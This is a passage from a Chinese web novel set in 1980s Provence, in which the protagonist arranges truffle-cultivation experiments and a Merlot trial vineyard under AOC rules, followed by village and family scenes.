“农业研究院是不是有人做过兰花种子和真菌共生的萌发实验?” 迪迪埃仔细回忆了一下: “有的教授,这个课题从七十年代就开始研究了,而且取得了巨大的突破。” 费尔南教授若有所思的说: “你找人搜集一下资料,着重在实验数据部分。” 迪迪埃答应下来: “好的。” 罗南提醒道: “我听到的是松露培育的实验,不是兰花。” 费尔南教授再看罗南的表情已经变得不太一样,而且解释的更加详细: “这两种实验的底层逻辑是相同的——在无菌条件下人工诱导植物与微生物共生,通过这个课题我们可以找到和它相关的所有公开实验报告,无论是法国还是国际上的,请你放心,我们会对得起你所花费的每一分钱。” 朱莉特默默放下了咖啡杯,若有所思的看了一眼罗南,不知在想什么。 但卢卡斯的表情就很好解读了。 这些‘学术机构’居然可以和我们好好说话并且听从我们的意见了? 他表情复杂的看了一眼和费尔南教授聊的有来有回的罗南。 罗南的加入.也许真的可以把结果改变。 费尔南教授此次的技术改良只有两个方向——接种和土壤改良。 不过鉴于罗南对松露的了解,他说的远远不止如此。 从第一步培育,到田间管理,再到土壤维护,他全给罗南讲了一遍。 听的迪迪埃都惊了 教授的时间非常宝贵,居然花了这么多时间在这两个家伙身上? 罗南也没让教授白花费时间。 坦白讲,4级【种植】和4级【采集】只能让罗南了解人工培育松露的理论操作流程,纸上谈兵的那种。 不过他完美的起到了一个信息枢纽的作用。 以‘听说’和‘突发奇想’为借口,又提出了2个小小的意见。 “这个提议有点道理,为了阻止竞争性真菌入侵,接种前确实可以尝试给土壤先蒸汽消毒。”费尔南教授看着迪迪埃说,“把这点记下来。” 农业实验就像是一种排列组合游戏。 在已知的几百几千种‘玩法’中找到最适合的几十种,拼成一整条种植链路,不过这个过程是痛苦的,过程中要经历许多次的失败。 罗南想了想,以他目前的能力,没有其他可以补充的了: “我希望您印证完这几点提议后,再开始正式的实验。” 费尔南教授露出了今天出现以来的第一个笑容: “这是当然,我也想提醒你,实验的过程是漫长的说不定只是确认你所说的那种接种方式是否存在、是否可行就需要一两个月的时间。” 罗南也笑着说: “只要能成功,我不介意多等一等。” 罗南不着急,但卢卡斯却着急了。 之后提的两个建议还好,只是增加了一点点维护费用,但罗南提出的那种新接种方式需要宿主树幼苗! 而他实验林里的宿主树都是成年的,也就是说,如果改变接种方式,那些宿主树全部要换,这样增加的成本就太多了。 “要增加多少?”罗南问卢卡斯。 卢卡斯皱着眉毛摇头: “每年的价格都不同,具体的需要去森林局问。” 罗南叹了一口气。 看来必须得赶紧和布鲁诺见一次面了。 突然,他想到什么,寻找起朱莉特的身影。 朱莉特刚刚提醒他别为预算担心是因为什么呢? 从实验室出来后,朱莉特远远的落在后面,并没有跟上来,似乎有话想要和罗南单独讲。 罗南赶紧凑到朱莉特的身边,小声问: “你是不是有什么事想和我说?” 朱莉特问出了一个让罗南意想不到的问题: “你和旅游局的关系很好?” 罗南不解的回: “没有啊,不熟。” 朱莉特语气复杂到让罗南分辨不出来她是开心还是生气了: “不熟连我告诉你的农业部重要工作都告诉他们了?” 罗南心里咯噔一下。 完了完了,是昆西! 朱莉特脸上的笑容突然绽放开来: “不逗你了,那不是什么机密,不过要感谢旅游局的帮忙,你的葡萄试验田项目申请下来了,而且有好几个部门都很感兴趣。” 罗南长长的吐出一口大气: “终于申请下来了。” 朱莉特指了一下她的车: “给我十分钟的时间,我和你聊聊你接下来应该做的事。” 第403章 一波三折的试验田项目 卢卡斯靠在他的老皮卡上抽烟。 罗南跟着朱莉特坐进她的轿车里,迫不及待的问: “你说很多部门都感兴趣,是说他们很看好普罗旺斯葡萄酒从平价到高端的发展路径吗?” 罗南希望多掌握一些政府的态度。 他交上去的申请书主要围绕的就是这一部分展开,当然了,这也是从朱莉特嘴里听来的。 “你不用考虑之前申请书上的内容了。”朱莉特很直白的说,“我帮你修改过后,那些内容都没了。” 罗南有些失望摸了摸脸。 这样啊. “那你是围绕什么去申请的?”罗南好奇的问。 葡萄酒的重要程度在普罗旺斯不言而喻,即使没有‘拔除计划’的推行,罗南相信也一定有许多农场主和机构在做和葡萄相关的种植实验,所以这一个实验田项目的申请难度比人工培育松露要高的多。 罗南非常好奇,朱莉特是通过哪个点,打动那些政府部门资助的。 朱莉特没有关车门,一只脚很随意点着外面的地面,像是打节拍一样,看起来心情非常不错: “之前我不好给你讲太多,现在实验田项目申请下来了,又是尝试栽种新品种,我可以给你多介绍一些普罗旺斯的葡萄历史和情况。” “好。”罗南对这些内容非常感兴趣。 朱莉特不疾不徐的说: “在法国,每一个地区允许栽种的葡萄品种都由法国原产地命名控制(AOC)法规严格规定,普罗旺斯也不例外,在未知会有关部门的前提下栽种非产区葡萄,最高可面临6000法郎/公顷的罚款。” 罗南严肃的说: “我猜到了。” 八十年代,信息闭塞是阻碍农业发展的一个很大因素。 卢尔马兰的农夫们从来没想过种新葡萄品种,因为他们的技术依赖于祖辈经验,技术更新周期长达20-30年。 同样的,八十年代法律普及率也较低,尤其是吕贝隆山区,他们不懂什么合法不合法。 不过通过在市面上找不到乔木幼苗这一点.罗南就猜到有可能是政府在严格把控葡萄品类。 “因为有AOC的存在,为了维护产区葡萄酒的口碑,葡萄酒大区对新葡萄品种的态度非常严谨,因为那有可能会改变原先的特色。”朱莉特突然嘲讽意味明显的笑了两声,“这其中最保守的是波尔多,严禁任何非传统品种的出现,还抵制新世界风格。” 在给罗南讲述‘拔除计划’时,朱莉特就多次表现出对波尔多的微妙态度,她对拔除计划的目标是‘必须比波尔多做的好’,显然这两个大区的摩擦甚多。 事实上,在这场争夺战里应该还有一个大区的存在——勃艮第。 这三个以葡萄酒闻名的大区无论在农业还是在其他领域都要争个高低。 去年夏天,罗南在梅纳村的某餐厅内,亲眼目睹过两位大学老师从小小的蜗牛开始,延伸到葡萄酒、文化底蕴、医疗、GDP、交通系统、空气质量、温度、居民素质甚至是新生儿生育率的高端‘知识战争’。 罗南细细品味了几句: “理解。” 朱莉特收敛起笑容,继续说正事: “普罗旺斯对新葡萄品种的态度灵活的多,堤布宏就是实验出来的外来新品种,不过会对面积有极大的约束,在证明经济价值或生态价值前,单个项目最大试种面积不可以超过20公顷。” 卢尔马兰一共只有200多公顷葡萄园,20公顷的实验面积足够用了,肯定要留出更大面积传统葡萄种类供给斯特斯加原先的葡萄酒种。 罗南点头道: “这个没有问题,我也只是想要尝试高价葡萄种类,不需要太多面积,主要走精品路线。” 朱莉特想要继续说什么,但突然‘暴怒’起来: “说到这里我想起来了斯特斯加是你买下来的?这么重要的事我居然是从旅游局的人嘴里听到的!罗南你是不是太过分了?” 我处处为你着想,你却处处对我隐瞒? 卢卡斯不知道这里发生了什么,好奇的打量过来。 罗南赶紧做了一个‘嘘’的手势,指着卢卡斯说: “小声点,我那个合伙人都不知道这件事呢!” 随后他快速的把事情的来龙去脉给朱莉特解释了一遍。 朱莉特的情绪来的快,去得也快,听完罗南的解释,她双手抱胸的说: “之前你说要种新葡萄,我不知道是为了尝试酿制新的高端粉红酒,如果知道还有这层关系,我一定会阻拦你,因为AOC明令禁止用非本土葡萄酿酒,如果加入其他葡萄,会自动降成餐酒级别。” “啊?”罗南震惊的大喝一声。 培育新的品种就是为了酿制高端酒.这不是把整套链路都推翻了? 不是你们别这么排外啊。 卢卡斯又一次看了过来,心想这两个人在聊什么呢,一惊一乍的? 尤其是那个女的。 刚见面的时候不是一脸笑容,热情的不得了吗? 怎么现在突然又一副臭脸? 朱莉特语气复杂的说: “知道这里面的水有多深、多复杂了吧?拿到酒庄,不第一时间来问问我应该注意些什么,接下来要干什么,还有心情去给旅游局‘画大饼’.如果今天我不主动找你,你还不会跟我坦白吧?” 从接到斯特斯加要易手的消息起,罗南就在努力学习和了解和酒庄相关的知识。 但给他准备的时间还是太短了.只有3个月,有许许多多的方面没有照顾到,就比如这些繁复的AOC法规。 只能说,专业的事得找专业的人咨询! 这套逻辑罗南曾给布兰科讲过,当时布兰科并没有提醒罗南还有AOC法规问题,说明见多识广的布兰科也不懂。 好在斯特斯加还需要一段时间才能正式运转起来,这几个月仍然可以留给罗南学习和了解行业。 不过今天和朱莉特的交流给罗南敲了一个警钟——必须要找一个非常懂普罗旺斯葡萄酒的人和他一起做前期准备,只靠他自己是远远不够的,一定会有疏漏。 未来也要多多的和朱莉特交流,在葡萄和酒庄事情上,她都太关键了。 可问题是朱莉特在阿维尼翁工作,可以交流的机会太少了。 罗南无力的辩解: “因为昆西这段时间驻派在卢尔马兰指导工作聊酒庄的时候无意间聊起来的,你应该知道了吧?卢尔马兰得到了旅游局的资金扶持。” “不是,这些不是重点。”罗南苦着脸问朱莉特,“只有研制成功新品种、证明其价值并被当地AOC承认后,我才可以用它酿高端酒吗?” 如果新葡萄品种无法合法酿制高端酒,罗南就要放弃这条道路,把精力放到平价酒的丰富度上。 朱莉特瞥了罗南一眼: “未来我也要驻派卢尔马兰了。” “啊??”罗南发出更加震惊的惊呼。 卢卡斯把烟扔了,快步走向朱莉特的车。 这两个人到底在聊什么? 罗南抬起屁股对卢卡斯摆了摆手: “没事,我们没事。” 随后他坐回车子,瞪大眼睛问朱莉特: “你又是为什么要驻派卢尔马兰?” 刚还在想没机会多多交流.人就来了? 朱莉特叹了一口气: “我不清楚卢尔马兰到底有什么重要的东西值得让旅游局这么重视但是你知道吗,旅游局主动找到农业部,提出要帮助卢尔马兰研制新的葡萄品种,还申请暂时解除对卢尔马兰新葡萄品种的AOC限制,葡萄是普罗旺斯的命脉作物,这么大的事农业部肯定要派人密切关注。” AOC是一套国家出台的体系,而负责体系制定和监督的是各地农业部下属的一个名叫INAO的机构,也就是说,在沃克吕兹省能种什么葡萄农业部有很大的话语权。 罗南的表情瞬间‘由阴转晴’,惊喜的问: “你们同意了?” 朱莉特无奈的说: “那可是旅游局啊,我们怎么可能拒绝?不过卢尔马兰到底有什么?为什么旅游局要管种葡萄的事?” 不止是各个村镇,政府的其他部门也在积极的促成和旅游局的‘合作’。 AOC法规要保护本土葡萄,不过罗南要申请的项目本就是实验性质,把葡萄酿制也放在这条链路里,那么同样带有实验性质试验田项目的主旨是鼓励产区通过实验提高竞争力,因此这种行为不该被地方法规所约束。 这一点在70年代培育马尔贝克葡萄和80年代培育赤霞珠和歌海娜杂交品种后,进行酿酒尝试时有过先例,只不过人家是在培育成功后暂时解除的。 这次还没开始培育呢,旅游局就来打招呼了。 罗南按耐住激动的心情,笑着问朱莉特: “还记得我第一次去参加聚会时发生什么了吗?” 朱莉特皱着眉毛,陷入了回忆之中。 朱莉特是个聪明人,结合旅游局的态度和罗南的提醒,她终于也发现了一条旅游局的‘重要工作’内容。 “这样看来,斯特斯加的发展对旅游局的确非常重要。”朱莉特悠悠的说。 粉红酒上升到了‘普罗旺斯新的标志性文化认同符号’的高度的确需要不惜余力的支持。 “是的!”罗南也想明白了其中的关键,“所以未来和粉红酒有关的一切事,旅游局都会帮我们一路开绿灯!” 朱莉特用一副‘你还是太年轻’的表情看罗南: “何止是粉红酒?卢尔马兰让旅游局如此高度重视,你们能干的事情太多了。” “比如?”罗南疑惑的问。 朱莉特‘痛心疾首’的摇了摇脑袋。 孩子还是太单纯了。 他们根本不了解自己抱上了一条多么粗的大腿。 罗南‘阴差阳错’和旅游局说了葡萄新品种的事,也算是帮到了朱莉特——既能在卢尔马兰实施拔除计划,又多了一种重要的新葡萄品种培育。 这也是朱莉特今天见到罗南会那么热情的原因,因为她知道有旅游局在背后支持,这件事一定能成功的实施。 事实上农业部也在不断的找旅游局‘合作’,朱莉特的计划书不知道写了多少个,因为各种各样的原因.经常不尽人意。 但朱莉特现在找到了一个突破口——卢尔马兰。 他们这两个部门可以有交集的作物岂止一种葡萄. 朱莉特尽职尽责的给罗南支招: “把任何事情和旅游扯上关系,旅游局都会给予支持,就比如刚刚聊的人工培育松露,谁说一个村子只能有一个特色?冬天的普罗旺斯旅游项目匮乏,松露是一个多好的项目啊?在卢尔马兰组织松露特色市集,卢尔马兰的艺术家多,让他们举办松露艺术节,最主要的是在卢尔马兰找一片实验林,不用太大,几亩地就行,组织游客去参观人工培育松露的项目” 只是一个简单的问题,朱莉特滔滔不绝的讲了好几分钟,似乎她的脑袋里有无穷无尽的想法。 听到最后,罗南敬佩的对朱莉特竖起一个大拇指。 还得是你们政府懂得如何从政府骗,不,申请预算啊! 这招没少用吧?! 不过认真考虑下来,罗南又觉得朱莉特说的很有道理。 人工培育松露是一个漫长的实验过程,和种葡萄不一样,今天决定下个月就可以开始行动。 在漫长的实验过程中,必须尽可能多的拉更多的资助方进来,不止是农业部、还有旅游局和森林局 “你什么时候来卢尔马兰?”罗南迫不及待的问朱莉特。 阿斯特丽德很早前就教育过罗南,他这个在普罗旺斯没有根基的家伙要把一切共同利益体牢牢的绑定到一起.就比如面前的朱莉特。 他当然知道朱莉特帮助自己有着她自己的目的。 但只要这个目的和罗南要做的事情没有冲突,且可以互帮互助就没有什么问题。 “这要看你什么时候推行拔除计划,什么时候开始栽种新品种。”朱莉特笑着回。 “这次试验田项目也会安排我和专业机构见一次面吗?”罗南认真的问。 朱莉特反问他: “你已经很了解农业知识了,还需要专业机构给你援助?” 罗南连人工培育松露都懂,不懂如何种葡萄? 费尔南教授都肯定了罗南的专业性. 罗南坦白的说: “我是想听听那些机构对于葡萄品种的建议,你知道的可以选择的种类太多了。” 朱莉特想了几秒: “如果想通过实验数据来决定种什么.他们帮不了你,还是要看你的实际需求。” 正在罗南思考要不要换个筛选维度时,朱莉特话锋一转,继续说道: “不过我可以直白的告诉你,在旅游局介入之前,你的试验田项目就已经被几个部门所看重了。” 罗南表情变的精彩起来: “你到底是用什么理由帮我写的那份申请书?” 这个问题朱莉特过了这么久都没有回答过他。 朱莉特脸上又出现了那种既轻蔑又不屑的表情: “波尔多和普罗旺斯之间的竞争从未间断过,只要涉及两个地区的竞争,就一定可以调动出一大堆感兴趣的部门,我在申请书里写你希望尝试波尔多主力葡萄品种在普罗旺斯栽种的可能性,我猜一定有很多人和我一样,期待看到波尔多人听到他们的‘高端’葡萄品种在普罗旺斯培育成功的表情。” 随即她给罗南解释: “这样写只是为了提升申请成功的概率,你不用把精力放在这方面,做一些简单的尝试即可,还是主要种你想种的品种。” 罗南咂了下嘴: “说实话,我的选择也很多,但在我的意向品种里,还真有一种波尔多的主力葡萄品种。” 朱莉特眼睛顿时大了: “什么?” 罗南侧了下脑袋: “是梅洛,不知道你听没听到这个消息,波尔多右岸用梅洛混酿了一种顶级收藏酒,单瓶售价超过3000法郎,因为波美侯只有800公顷梅洛葡萄。” 朱莉特用力拍了下方向盘: “就种这个!我们用它酿出比3000法郎更贵的粉红酒!” 第404章 令人头疼的家庭关系 梅洛是一种18世纪末才出现的葡萄品种,起源于波尔多。 后被美国、意大利、东欧、南非、阿根廷和智利等国家广泛种植。 其优秀产区包括法国波尔多和朗格多克、美国加州的纳帕谷和索诺玛、纽约长岛的北福克、南非的斯泰伦博斯、澳大利亚的玛格丽特河和智利的中央谷等。 波尔多习惯用梅洛酿制更加具有结构感的高级红酒,这种葡萄还尤其被新世界酒区国家所喜爱,究其原因是梅洛的单宁含量低,果肉更甜、果酸更低,酒体柔和,果香还非常浓郁,非常好入口。 但又是因为其以上的特性,梅洛非常容易氧化,需要精细控制浸皮时间,相较于歌海娜等普罗旺斯传统葡萄种类,在酿制过程中更加难以操作。 不过梅洛的风格非常符合罗南的要求: 首先,虽然普罗旺斯看波尔多有诸多的不顺眼,但不得不承认,八十年代的波尔多红酒牢牢的统治了世界葡萄酒的高端市场,梅洛是波尔多风格中提供复杂度和结构感的重要组成部分。 其次,梅洛低单宁、低酸度、重果香、好入口等特性,可以补全普罗旺斯高端粉红酒中单宁和酸度无法平衡的难题。 最后,这种被新世界所喜爱和熟悉的葡萄,可以有效的帮助罗南开拓更大的国际市场,尤其能吸引住来自世界各地的游客。 不过在普罗旺斯种植梅洛,也有着不小的阻碍,主要来自气候. 普罗旺斯属于地中海气候,夏季炎热干燥,光照充足,昼夜温差较大,这有利于葡萄果实积累糖分,如果在这里成功培育出梅洛,其果实风味会更加浓郁。 但问题是,梅洛葡萄更适合在温和凉爽的气候下种植,生长初期需要充足的水分和相对凉爽的环境来促进枝叶生长。 而普罗旺斯夏季过于炎热干燥,可能导致梅洛葡萄生长受限,果实变小,易引发病虫害,夏季降雨量少,还与梅洛对水分的依赖需求不匹配。 如果想要在普罗旺斯尝试种梅洛,需要攻克灌溉、夏季降温、土壤排水和病虫危害这四大难题。 除此之外,罗南也在同时思考地形在其中的重要程度. “梅洛喜欢更加凉爽的生长环境,种植区域的海拔是不是可以提高一些?” “你在说什么?” 确定葡萄实验品种后,一心想要把波尔多‘干掉’的朱莉特马不停蹄的去帮罗南解决苗木问题,罗南和卢卡斯开车返回卢尔马兰。 这一路上罗南一直在想种植梅洛的细节,没有主动挑起话题,罗南不说话,卢卡斯就闷头开车也什么都不说。 听到罗南小声嘟囔了两句,卢卡斯以为他是在和自己说话。 “没有没有,我在想事情。”罗南的思绪收回。 卢卡斯点了一下头,又点了一根烟,继续开车。 来的路上罗南是话题的挑起者,卢卡斯沉默了一路,见返回的路程还是这样,罗南笑着问卢卡斯: “你现在怎么这么沉默?” 一年前罗南刚刚认识卢卡斯时,对他最深的两个印象就是能说会道和交游广阔。 那个连加缪儿子都来参加的聚会,直到现在都让罗南记忆犹新;他们在路易家第一次见面时,那个侃侃而谈、无所不知的卢卡斯是闪闪发光的。 卢卡斯的朋友非常多,梅纳村、戈尔德、博尼约、马赛.他的朋友遍布普罗旺斯,这样的卢卡斯怎么变成‘闷葫芦’了? 卢卡斯硬挤出了一个微笑: “山路,要认真开车。” 罗南看向窗外平坦的小道。 他曾见过普罗旺斯人一边开车,一边双手离开方向盘吃早餐。 也曾见过普罗旺斯人在开车的途中把一整个上身探出来修后视镜。 还见过在陡峭的悬崖峭壁旁,下车拥抱打招呼、全然不顾后面汽车鸣笛的普罗旺斯疯子。 这‘一马平川’的小路需要全神贯注到连一句话都不能说? 罗南摸了摸脑门。 卢卡斯在高压下生活了太久,虽然现在已经触底反弹,向着好的方向慢慢爬升但他的状态还是高度紧绷的。 他的骄傲还在,只不过从一头自信的卢尔马兰雄狮变成一头孤狼了。 卢尔马兰。 卢卡斯把车停到商业街的门口: “那我回去等消息了,你问到树苗的价格告诉我。” 费尔南教授需要一段时间才能给回复,打听宿主树幼苗价格的任务罗南又主动承担下来了,卢卡斯能做的只有等待。 罗南打开车门,但是没有下去,而是向他发出邀请: “把车停下跟我去餐厅待会吧,反正你家没人,自己一个人回去干什么?” 卢卡斯的妻子和儿子都去了马赛,他现在过的是快乐单身汉生活。 快乐的单身汉当然要多多的和朋友们在一起啊,要不然怎么快乐? 卢卡斯扬了一下下巴: “玛格丽特在家里,我回去陪她。” “那就接上玛格丽特一起,先回去拿狗。”罗南把门重新关上,催促道,“再去我家一趟,我也把小黑和马赛带来,正好今天佐伊在餐厅见朋友,我不着急回家,你晚上留下吃完再走。” “下次吧。”卢卡斯笑着说。 卢卡斯能感受到罗南的用意,也很感谢他的用心。 但现在的卢卡斯真的不喜欢去人多的地方。 罗南用‘威胁’的语气说: “好,那你回去吧,一会我带小黑去接玛格丽特,它们两个好久没一起玩了,你知道的玛格丽特一定会跟我走。” 如果放心你的宝贝女儿‘离家出走’,你就回去吧。 出了什么事我可不负责。 卢卡斯摇着头露出一抹苦笑。 服了你了! 住在乡村,每家每户都得养点小动物,不是狗就是羊,又或者是驴和兔子。 几条狗在餐厅里出现问题不大,即使呼呼出现,客人们也不会大惊小怪的。 “但问题是呼呼不会跟你走啊。”佐伊露出头疼的表情。 罗南把卢卡斯和三只狗带来餐厅,先过来和佐伊打了个招呼,听到他们正在聊关于宠物的话题。 等佐伊和罗南结婚,啵啵那几只狗可能会继续留在路易家,但只跟佐伊亲近的呼呼一定会去罗南那里住。 可问题是这个小家伙现在愈发无法无天了,尤其是不服罗南。 罗南之所以每天中午能吃下那么多佐伊亲手做的午饭,是因为吃饭之前会和呼呼进行一场激烈的战斗。 当然了,每一次都离不开佐伊出面干涉。 “我早晚会让它知道谁才是真正的主人!”罗南放出狠话。 佐伊叹气道: “呼呼太聪明了,你用武力没有用,说不定还会适得其反其实最好的办法是让它和你多接触,正常的接触,不是一见面就打架那种。” “那就把呼呼送去罗南家。”薇薇安热心的说,“之后几个月你和罗南要一起装修房子,借着这个机会让它和罗南多接触,你也能在旁边看着。” “不行。”罗南和佐伊异口同声的说。 佐伊摸着被因排挤、满脸委屈的马赛宝宝狗头说: “呼呼和马赛一见面就打架,它们两个更不能见面了。” “那可怎么办?”微微安为姐妹复杂的家庭关系而苦恼。 “烤了吃呗,没有你们俩,那羊去年就被架到火上了,这一年吃的好、睡的好、玩的好,羊生圆满了。”皮埃尔一脸坏笑的出现,幽默的对佐伊说,“我可以借用一下你的未婚夫吗?” 皮埃尔是来问罗南关于拔除计划和新葡萄品种的消息,卢尔马兰迟迟没有什么动静.他都开始着急了。 “因为我今天才拿到消息,等下我就去找布兰科。”罗南寻找起卢卡斯的身影,“不过稍等我一下啊,我先和卢卡斯喝几杯,你不知道我费了多大的力气才把他带来这里。” 人的本性不会突然改变。 卢卡斯的‘自闭’只是暂时的。 他骨子里还是那个喜欢四处结交朋友、喜欢侃侃而谈、喜欢帮助别人并随时散发自信魅力的老大哥卢卡斯。 在特奥的宣传下,全村人都知道他罗南要和卢卡斯一起做人工培育松露的生意,那些‘流言蜚语’不足为惧。 卢卡斯现在需要的只是时间,一些慢慢恢复的时间。 皮埃尔心有灵犀的给罗南指了一个方向: “你去找布兰科吧,那里用不着你操心。” 罗南是比卢卡斯更加耀眼的存在。 让他去唤醒那头沉睡的雄狮并不合适. 很久之前,吕贝隆的农夫间就有一套合作制度。 哪家的葡萄和橄榄需要重新栽种,大家都会来义务帮忙。 之后这个合作制度进行了一定的演化,变成哪个农夫遇到了麻烦,其他农夫也必须去帮忙。 罗南就是在兄弟们一次又一次的义务帮忙下慢慢成长起来的。 在普罗旺斯,‘和土地打交道的都是兄弟’这句话绝不是说说而已。 就像不需要罗南说什么,皮埃尔就知道他在找什么一样。 不需要皮埃尔和罗南说什么.农夫们都主动凑过去了。 “卢卡斯,特奥说你送罗南的那把猎枪要一万多法郎,真的有那么贵吗?你家还有其他厉害的猎枪能给我看看吗?” “卢卡斯,我今年夏天想去马赛玩几天,你对那里熟悉,能给我推荐几个好玩的地方吗?前提是不要太贵啊,我可不是你这种有钱人,能享受富人般的生活。” “卢卡斯,听说你去年90万买的那片林子现在值100多万法郎了?你真厉害啊,只靠买地就赚了那么多!” “卢卡斯” “卢卡斯” 第405章 看谁的嘴更硬! 布兰科早已做好了一切准备,只等罗南这里的消息。 见罗南又送来了几件好消息,他决定在3月的最后一天召开卢尔马兰全体大会,让全村人知道卢尔马兰过去发生了什么、未来又会发生怎样翻天覆地的变化。 送完消息,罗南突然在路上想起一个人。 时间过得真快,马上要3月底了,那个人准没准备啊? 距离月底还有几天,罗南又回到了和佐伊一起装修房子的生活节奏中。 不过这中间还穿插的做了两件事。 一件是给布鲁诺打电话询问他的家人是不是已经到了普罗旺斯,并邀请他的妻子去阿普特的线下店铺看看。 布鲁诺说他的家人已经到了,正在安顿中,安顿好他马上安排妻子去阿普特和罗南见面,因为妻子的工作问题会影响他们把房子买在哪里。 “他不把房子买在马赛吗?” 罗南每天都会和佐伊分享发生在自己身上的事情,佐伊也是同样的情况,今天讲到布鲁诺的话题,佐伊非常惊讶于布鲁诺的选择。 罗南笑着解释: “布鲁诺说他待在办公室里的时间不多,多是去森林附近和地方政府打交道,还说普罗旺斯的风景这么好,路途稍微长一点也没事的,不会无聊,主要看他妻子的工作地点在哪里,你知道的,他们夫妻经常聚少离多,布鲁诺非常在意妻子和孩子,一切把他们的需求放在第一位。” “真幸福啊。”佐伊颇有感触的说,“聚少离多感情还能那么好,布鲁诺去年从来没有想过来普罗旺斯工作,但他妻子说喜欢这里他就来了.” 罗南摇着脑袋说: “有些人聚少离多,但不影响幸福美满,有些人.天天见面却一点都不珍惜。” 佐伊放下手上工具: “你又去提醒维埃里了?” 罗南说的当然不可能是他们了。 全卢尔马兰都知道,罗南和佐伊是最恩爱的情侣! 罗南撇着嘴说: “提醒了两次,说伊莎贝尔的生日马上就到了但他好像根本就听不懂我是什么意思似的。” 维埃里是罗南和佐伊‘亘古不变’的聊天话题,每过两天就得聊一次。 他们强烈怀疑维埃里和伊莎贝尔是互相喜欢的关系,但又没有什么实质性的证据。 这两个人的嘴太硬了! 根本问不出什么有用的消息! 佐伊长长的叹了一口气,重新拿起工具: “还是别指望维埃里了,我去给伊莎贝尔买一份礼物,感谢她一直以来对维埃里的照顾。” 不管两个孩子是什么关系。 伊莎贝尔照顾维埃里、不断给路易介绍客户都是事实。 得知伊莎贝尔非常想去艾克斯玩,佐伊曾经好几次提出要带她去,但伊莎贝尔全部拒绝了。 不知道是因为不够熟悉,还是因为其他.一向活泼的伊莎贝尔每次见佐伊都很紧张,完全没办法轻松的和她一起游玩。 “可以。”罗南去搬新的木材,“我和你一起给伊莎贝尔选一份生日礼物,这大半年她给餐厅出了不少力。” 距离高中会考还有2个多月的时间,12年级的维埃里放学的时间反而变得更早了。 法国的高中教育喜欢给足学生自主性,让他们根据自身的情况积极备考。 维埃里的备考还算积极,虽然放学早了,但他留在餐厅帮忙的时间并没有拉长,依然是每天待上一个多小时就回家去。 晚上罗南和佐伊结束了一天的装修工作,去餐厅吃饭,遇到了即将要回家的维埃里。 操心的姐夫第三次提醒他: “伊莎贝尔的生日就在这周日,你准备礼物了吗?” 维埃里想都没想就摇头: “没有。” 见佐伊的表情不太好看,已经在‘欲言又止’的边缘,担心好不容易修复好姐弟关系‘土崩瓦解’,罗南赶紧把维埃里拉走: “我送你出去。” 路过在门口迎宾的伊莎贝尔,罗南想起来一件重要的事情: “这周末的集市你不用去了,之后我带人去参加。” 冬天,罗南把梅纳村和卢尔马兰的两个集市交给了伊莎贝尔和餐厅里的妇女们。 但随着气温升高,游客们要抵达普罗旺斯了,罗南决定重新参加集市给餐厅揽客。 伊内斯在今年的《密法尔指南》中加重了对罗南摊位的描述部分,他这个特色的黄皮肤摊主必须得参与进去。 怕手艺生疏,罗南给了自己半个月的‘适应期’,于3月底‘复工’。 不过罗南计划,这次‘复工’的时间不会太长,只要餐厅的生意稳定下来,他会继续把集市摊位交给其他人,将精力挪出去做别的。 罗南现在的身份和去年不同了,摊位早晚要交出去、让其他人负责,偶尔去露个面足够了。 “好的!”伊莎贝尔语气轻快的说,和维埃里错身时,她用挑衅的语气说,“哟,高中生要回家写作业了?” 维埃里不甘示弱的说: “如果我是你,会先考虑一下自己,没有了摊位你每个月要损失不少收入,真不知道你哪里来的心情说别人。” 冬天集市上的营收罗南会分给去参加的人,伊莎贝尔因此多了一笔不算少的收入。 “我赚钱的本事多的是,不缺这一个,我会编花环,还会做灯具,用得着你操心吗?” “呵,两天做一个花环,有什么值得骄傲的?” “那也比不会的人强!不知道是谁,一个小小的花环做的奇丑无比,被巴蒂一次又一次的退回去!” “你——”维埃里伸出食指,指向伊莎贝尔,脸都气红了。 维埃里越生气,伊莎贝尔越开心。 她回给维埃里一个鬼脸,还幸灾乐祸的扭了扭脖子。 一边的罗南看的哭笑不得。 这两个年轻人的相处方式.真是神奇。 来到餐厅门口,罗南问维埃里: “你还做过花环?” 他和佐伊都不知道维埃里做过花环的事情。 维埃里更生气了,用力踢了一脚路边的石头: “做过几个,让伊莎贝尔帮我送去卖,但.但巴蒂没要。” 罗南笑着说: “如果你想学,等你考完试,我好好教你,没有那么难。” 维埃里突然紧张起来: “你不要跟佐伊说我做花环的事情好吗?她知道,爸爸和妈妈就会知道.我不想让他们知道这件事。” 罗南想了一下,点头答应: “可以,不过现在确实应该把精力放在学习上,已经每天拿出一个多小时来餐厅‘体验生活’了就别再在别的事情上耗费精力。” “我知道。”维埃里又踢了一颗石头,“只是想存点钱.” 路易家的经济条件非常好,他和莉亚从未对两个孩子吝啬过。 而且维埃里每天中午和晚上都回家吃饭,按理说花费应该不大.想到什么,罗南直截了当的说: “你想买什么,直接跟我说,我给你买。” 维埃里只是嘴上不提足球了,但罗南清楚,他对足球的热情依旧。 每当佐伊从阿普特或者艾克斯给他带回来和足球有关的东西,维埃里都会恢复天真烂漫的样子。 罗南猜,维埃里有可能是看上了什么和足球有关的东西。 维埃里小声说: “不是买东西” 罗南突然紧张起来。 如果不是买足球相关的东西,难道又想去马赛看比赛? 去年这个时候,维埃里也曾存钱给去马赛做过准备。 “如果你想去马赛看球我依然不会同意。”罗南严肃的说,“那里太危险了。” 维埃里背着书包离开: “不是去马赛,我走了,你回去吧。” 伊莎贝尔是一个活泼的女孩。 她和餐厅里每一个员工的关系都相处的非常好。 罗南之所以能知道她的生日要到了,是听到几个服务员说,要凑钱给伊莎贝尔买一个好看的蛋糕,她们还咨询罗南应该买什么样子的。 老板罗南说,蛋糕餐厅来出,以后每一个员工过生日,餐厅都会做一个又大又高级的生日蛋糕送给她们。 员工们因此更加喜欢伊莎贝尔了,因为她大家可以频繁吃到‘真正’的蛋糕了。 吕贝隆地区普通家庭的孩子们过生日也会吃蛋糕。 但那是一种叫‘磅蛋糕’的东西,用面粉、鸡蛋、黄油和糖1:1:1:1制作,简单又实惠,上面连奶油都没有,都是家庭自制的。 “伊莎贝尔,生日那天你打算怎么过?”伊莎贝尔过生日的前两天,有服务员问她。 伊莎贝尔欢快的说: “带着家人来这里吃一顿大餐,再和你们分蛋糕吃!” “没其他的了?”那女孩问。 伊莎贝尔像小大人一样叉着腰说: “以前过生日只有‘磅蛋糕’,现在有带着奶油和新鲜水果的好看蛋糕吃,还有美味的食物,这还不够?我看你们真是太贪心了!” “就是问问嘛,佐伊邀请你去艾克斯玩.你居然一次又一次的拒绝!我们还以为你有其他的安排呢。” 